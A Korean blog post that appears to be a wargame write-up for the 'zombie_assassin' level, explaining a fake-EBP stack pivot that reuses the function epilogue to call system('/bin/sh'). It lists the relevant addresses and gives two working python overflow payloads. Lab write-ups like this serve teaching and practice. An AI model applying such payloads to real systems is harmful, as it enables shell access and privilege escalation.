반응형

0x28 = 40바이트를 할당하므로 dummy는 없음을 알 수 있다.

Main 함수의 에필로그를 보면 위 그림과 같이 동작하는 것을 알 수 있다.

Mov esp, ebp => espebp로 옮긴다.

Pop ebp => esp가 가리키는 값을 ebp에 저장하고 esp를 증가

Pop eip => esp가 가리키는 값을 eip에 저장

Jmp eip =>eip 주소로 이동

Jmp eip에서 system함수로 이동을 하게 하면 되지만, ret 위의 값이 조작이 불가하므로 esp가 조작된 ebp를 가리키게 해야한다.

따라서 리턴주소를 에필로그로 하면 esp가 조작된 ebp를 가리키게 할 수 있다.

 

Strncpybuffer를 채우므로, 먼저 조작된 ebp buffer를 가리키게 한다. 그 다음 리턴 주소를 에필로그로 바꾼다. 그러면 다시 에필로그를 실행하므로 Mov esp, ebp를 한다.

따라서 espbuffer를 가리키게 된다.

Pop ebp-> Pop eip-> Jmp eip를 하므로, 버퍼를 위 그림과 같이 리턴 주소에 system함수의 주소를 넣고, 그 위에 system함수의 리턴주소, 그 위에 인자를 넣어주고 남은 공간은 더미로 채운다.

에필로그 = 0x80484df

System = 0x40058ae0

 

“/bin/sh” => 0x400fbff9

Buffer = 0xbffffab0

 

에필로그 = 0x80484df => 08 04 84 df

System = 0x40058ae0 => 40 05 8a e0

“/bin/sh” => 0x400fbff9 =>40 0f bf f9

Buffer = 0xbffffab0 => bf ff fa b0

 

$(python -c 'print "A"*4 + "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40" + "\x90"*24 + "\xb0\xfa\xff\xbf" + "\xdf\x84\x04\x08"')

 

실행 후

0xbffffaa0에 들어간 것을 알 수 있었다.

따라서 buffer주소를 바꾸어 주었다.

Bf ff fa a0

$(python -c 'print "A"*4 + "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40" + "\x90"*24 + "\xa0\xfa\xff\xbf" + "\xdf\x84\x04\x08"')

(PuTTY가 출력되는 이유는 모르겠다, zombie_assassin  gdb하였을때, Operation not permitted가 발생하여 cp하여 소유자가 assassin zombie_assassi2파일을 사용하였다. )

728x90
반응형
블로그 이미지

아상관없어

,